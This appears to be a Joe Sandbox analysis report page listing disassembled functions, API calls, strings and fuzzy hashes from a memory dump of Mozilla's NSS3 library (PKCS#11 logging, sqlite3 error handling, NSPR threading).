Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: fe0695b237e4020ab64814c5f076fab9e5cbd54533c0826c3d43fff5d38d8917
Instruction ID: 0315fb1c1309fc0de2bdbbc621aa879a0c36948c8197f7345c4dca4d7ed59e2e
Opcode Fuzzy Hash: fe0695b237e4020ab64814c5f076fab9e5cbd54533c0826c3d43fff5d38d8917
Instruction Fuzzy Hash: B531E572905224AFEB009F25DC84FAF3BB5BB4631DF458038E509AB253DB349814CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF49EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CF49F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF49F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF49F49

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF49F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CF49F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF49FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CF49FC0

Strings

hKey = 0x%x, xrefs: 6CF49F82, 6CF49F92
hSession = 0x%x, xrefs: 6CF49F21, 6CF49F31
(CK_INVALID_HANDLE), xrefs: 6CF49F3F, 6CF49FA0
C_MessageEncryptInit, xrefs: 6CF49F01

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: dc88236e52321cbdbc291752135c03c0672e9d5fa22420d29baa3c52d64024f1
Instruction ID: 6f4c485dff8be5a0b18e3e4dbf8f36461b7405c3c7978dd86f34109ba56b2fa9
Opcode Fuzzy Hash: dc88236e52321cbdbc291752135c03c0672e9d5fa22420d29baa3c52d64024f1
Instruction Fuzzy Hash: BB31E771A05224AFEB109F24DD44FAE3B79BB4732DF058038F5096B643DB349914CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CFE4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CFE4CFD
sqlite3_value_text16.NSS3(?), ref: 6CFE4D44

Strings

out of memory, xrefs: 6CFE4C78, 6CFE4C9E
abort due to ROLLBACK, xrefs: 6CFE4D27, 6CFE4D33
another row available, xrefs: 6CFE4D20
bad parameter or other API misuse, xrefs: 6CFE4D05
no more rows available, xrefs: 6CFE4D2E
invalid, xrefs: 6CFE4CF1
API call with %s database connection pointer, xrefs: 6CFE4CF6
unknown error, xrefs: 6CFE4D56

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 02640841c19cc4526749c99f3f2930404f4520da09bea8cedb60ce0b56acac94
Instruction ID: 8677f87c45da060c765df9e0decae5d623b032859e73d9542a7b6196dfb7572b
Opcode Fuzzy Hash: 02640841c19cc4526749c99f3f2930404f4520da09bea8cedb60ce0b56acac94
Instruction Fuzzy Hash: 48319E73E05911F7EB1446ACA800BA5BF22BB8E318F15413DD8254BA59D721BC1283E3

Uniqueness

Uniqueness Score: -1.00%

Function 6CF42DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CF42DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF42E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF42E33

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF42E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CF42E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CF42E81

Strings

C_InitPIN, xrefs: 6CF42DF1
ulPinLen = %d, xrefs: 6CF42E7C
hSession = 0x%x, xrefs: 6CF42E0E, 6CF42E1E
pPin = 0x%p, xrefs: 6CF42E63
(CK_INVALID_HANDLE), xrefs: 6CF42E2C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 0c86a327ddfd2ca166629835eb2eb7175c7447b1b6f16fd00765b322dfa6fb10
Instruction ID: b08649d111e8f7ab3ff54ed3366fc20591ac306140b0fe46f6143f0ebfbec3f5
Opcode Fuzzy Hash: 0c86a327ddfd2ca166629835eb2eb7175c7447b1b6f16fd00765b322dfa6fb10
Instruction Fuzzy Hash: 0831E271905224AFEB109B65DC48F9A3BB5EB4331DF058034EA09FB253DB319948CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF46EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CF46F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF46F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF46F53

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF46F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CF46F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CF46FA1

Strings

C_DigestUpdate, xrefs: 6CF46F11
hSession = 0x%x, xrefs: 6CF46F2E, 6CF46F3E
pPart = 0x%p, xrefs: 6CF46F83
ulPartLen = %d, xrefs: 6CF46F9C
(CK_INVALID_HANDLE), xrefs: 6CF46F4C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 5602e6415240f37f0b90accb7d130a86f32fa984b9645da034196ab5e15f8d6c
Instruction ID: 2c923e650be045d55a33c0bd1c45a4fce576af54b36935d2f98cddee21927713
Opcode Fuzzy Hash: 5602e6415240f37f0b90accb7d130a86f32fa984b9645da034196ab5e15f8d6c
Instruction Fuzzy Hash: 1E31D735505120AFEB109B65DC44B5A3BB5EB4332DF058025F508AB653DB31D944CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CFE2D9F

Part of subcall function 6CE9CA30: EnterCriticalSection.KERNEL32(?,?,?,6CEFF9C9,?,6CEFF4DA,6CEFF9C9,?,?,6CEC369A), ref: 6CE9CA7A
Part of subcall function 6CE9CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE9CB26

sqlite3_exec.NSS3(?,?,6CFE2F70,?,?), ref: 6CFE2DF9
sqlite3_free.NSS3(00000000), ref: 6CFE2E2C
sqlite3_free.NSS3(?), ref: 6CFE2E3A
sqlite3_free.NSS3(?), ref: 6CFE2E52
sqlite3_mprintf.NSS3(6D04AAF9,?), ref: 6CFE2E62
sqlite3_free.NSS3(?), ref: 6CFE2E70
sqlite3_free.NSS3(?), ref: 6CFE2E89
sqlite3_free.NSS3(?), ref: 6CFE2EBB
sqlite3_free.NSS3(?), ref: 6CFE2ECB
sqlite3_free.NSS3(00000000), ref: 6CFE2F3E
sqlite3_free.NSS3(?), ref: 6CFE2F4C

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 420b080e97369528dfac8399e60eeb1baf68c7b7a02b31c5cef986d825ee4aae
Instruction ID: a16c59e776b0c81d9f177dca5af3330bd104438f183bc0878fa347f67d700617
Opcode Fuzzy Hash: 420b080e97369528dfac8399e60eeb1baf68c7b7a02b31c5cef986d825ee4aae
Instruction Fuzzy Hash: 16617EB5E01216AFEB10CFA8D885BDEB7F1AF48348F254028DD55A7701E736E845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF32C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CF33F23,?,6CF2E477,?,?,?,00000001,00000000,?,?,6CF33F23,?), ref: 6CF32C62
EnterCriticalSection.KERNEL32(0000001C,?,6CF2E477,?,?,?,00000001,00000000,?,?,6CF33F23,?), ref: 6CF32C76
PL_HashTableLookup.NSS3(00000000,?,?,6CF2E477,?,?,?,00000001,00000000,?,?,6CF33F23,?), ref: 6CF32C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CF2E477,?,?,?,00000001,00000000,?,?,6CF33F23,?), ref: 6CF32C93

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CF2E477,?,?,?,00000001,00000000,?,?,6CF33F23,?), ref: 6CF32CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CF2E477,?,?,?,00000001,00000000,?,?,6CF33F23,?), ref: 6CF32CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CF2E477,?,?,?,00000001,00000000,?,?,6CF33F23), ref: 6CF32CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CF2E477,?,?,?,00000001,00000000,?), ref: 6CF32CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CF2E477,?,?,?,00000001,00000000,?), ref: 6CF32D4D
EnterCriticalSection.KERNEL32(?), ref: 6CF32D61
PL_HashTableLookup.NSS3(?,?), ref: 6CF32D71
PR_Unlock.NSS3(?), ref: 6CF32D7E

Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007AD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007CD
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE9204A), ref: 6CF007D6
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,00000144,?,?,?,?,6CE9204A), ref: 6CF007E4
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,6CE9204A), ref: 6CF00864
Part of subcall function 6CF007A0: calloc.MOZGLUE(?,0000002C), ref: 6CF00880
Part of subcall function 6CF007A0: TlsSetValue.KERNEL32(00000000,?,?,6CE9204A), ref: 6CF008CB
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008D7
Part of subcall function 6CF007A0: TlsGetValue.KERNEL32(?,?,6CE9204A), ref: 6CF008FB

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 89af0b4e5a23851d401d34056e5dfcbafb1aabe745509b492aea96c92855d4f4
Instruction ID: 5bdb491c7c5647a182a0cffc41de5b2b71ac79da1cf2a071d3dc9e9fc5cd3a1c
Opcode Fuzzy Hash: 89af0b4e5a23851d401d34056e5dfcbafb1aabe745509b492aea96c92855d4f4
Instruction Fuzzy Hash: CE5108B6C00214BBDB009F24DC45AAABB78FF09358B148524ED1C97B12EB32ED64C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF27C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D072120,Function_00097E60,00000000,?,?,?,?,6CFA067D,6CFA1C60,00000000), ref: 6CF27C81

Part of subcall function 6CE94C70: TlsGetValue.KERNEL32(?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94C97
Part of subcall function 6CE94C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CB0
Part of subcall function 6CE94C70: PR_Unlock.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CC9

TlsGetValue.KERNEL32 ref: 6CF27CA0
EnterCriticalSection.KERNEL32(?), ref: 6CF27CB4
PR_Unlock.NSS3 ref: 6CF27CCF

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

TlsGetValue.KERNEL32 ref: 6CF27D04
EnterCriticalSection.KERNEL32(?), ref: 6CF27D1B
realloc.MOZGLUE(-00000050), ref: 6CF27D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF27DF4
PR_Unlock.NSS3 ref: 6CF27E0E

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 23439230088221866d493a49455562de644f5cab38a2fc54758499b93cf929e1
Instruction ID: f0c3ebe8c9bfdbef6ca69a945d674292a4a0d6a8ae62ed009e0edc293cd4a2df
Opcode Fuzzy Hash: 23439230088221866d493a49455562de644f5cab38a2fc54758499b93cf929e1
Instruction Fuzzy Hash: 9D510F729051109BDF20AF78CC41BA67BB5FB57318F65413BEE04AB722EB349850CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE94C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CB0
PR_Unlock.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94D97
PR_Lock.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94DBA
PR_WaitCondVar.NSS3 ref: 6CE94DD4
PR_Unlock.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94DEF

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: cfd1804a106ce2c5a068ca3284469d1b403e50c74ac2870a6d0df8575e880c2f
Instruction ID: 79c7d1a88fae66628b38d3e52f9278db0c6c1a5d96deaa4c422cf2be6fa140ad
Opcode Fuzzy Hash: cfd1804a106ce2c5a068ca3284469d1b403e50c74ac2870a6d0df8575e880c2f
Instruction Fuzzy Hash: C94191B5A04755CFCF00AF79D094259BBF4BF0A318F16466ED898AB750EB30D885CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6D027CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D027CE0

Part of subcall function 6CFD9BF0: TlsGetValue.KERNEL32(?,?,?,6D020A75), ref: 6CFD9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D027D36
PR_Realloc.NSS3(?,00000080), ref: 6D027D6D
PR_GetCurrentThread.NSS3 ref: 6D027D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6D027DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D027DD8
malloc.MOZGLUE(00000080), ref: 6D027DF8
PR_GetCurrentThread.NSS3 ref: 6D027E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6D027DF0
:%s:%d:0x%lx, xrefs: 6D027DB9

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: a2851e5f53b9dac39be884447f90c782108465818fbad51985ec1294716a79c0
Instruction ID: 8af21deb9f0ddf93f0f1d8025a0993d47d5f60419dcdcac957e482bf5e7869e0
Opcode Fuzzy Hash: a2851e5f53b9dac39be884447f90c782108465818fbad51985ec1294716a79c0
Instruction Fuzzy Hash: EC41A4B1D112029FEB04CF28CC90A7A37B6BFC5318B15856CE9198B751DB31E945C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF5ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CF5DE64), ref: 6CF5ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF5ED22

Part of subcall function 6CF6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0418D0,?), ref: 6CF6B095

PL_FreeArenaPool.NSS3(?), ref: 6CF5ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CF5ED6B
PR_CallOnce.NSS3(6D072AA4,6CF712D0), ref: 6CF5ED38

Part of subcall function 6CE94C70: TlsGetValue.KERNEL32(?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94C97
Part of subcall function 6CE94C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CB0
Part of subcall function 6CE94C70: PR_Unlock.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CF5ED52
PR_CallOnce.NSS3(6D072AA4,6CF712D0), ref: 6CF5ED83
PL_FreeArenaPool.NSS3(?), ref: 6CF5ED95
PL_FinishArenaPool.NSS3(?), ref: 6CF5ED9D

Part of subcall function 6CF764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CF7127C,00000000,00000000,00000000), ref: 6CF7650E

Strings

security, xrefs: 6CF5ED06

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 856b1ef671b96e473095899be73b168406ffbe6301b2e3e5642c358bbf59f008
Instruction ID: 188c1b63c20a35474f13310505f5e4a96d37f6bcefea64a7dfea56af7b9bdfbf
Opcode Fuzzy Hash: 856b1ef671b96e473095899be73b168406ffbe6301b2e3e5642c358bbf59f008
Instruction Fuzzy Hash: 23113572D002147BE6205B21AC44FFB7378AF5260CF44443AF95866E81F729A62CC6E6

Uniqueness

Uniqueness Score: -1.00%

Function 6CF42CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CF42CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CF42D07

Part of subcall function 6D0209D0: PR_Now.NSS3 ref: 6D020A22
Part of subcall function 6D0209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D020A35
Part of subcall function 6D0209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D020A66
Part of subcall function 6D0209D0: PR_GetCurrentThread.NSS3 ref: 6D020A70
Part of subcall function 6D0209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D020A9D
Part of subcall function 6D0209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D020AC8
Part of subcall function 6D0209D0: PR_vsmprintf.NSS3(?,?), ref: 6D020AE8
Part of subcall function 6D0209D0: EnterCriticalSection.KERNEL32(?), ref: 6D020B19
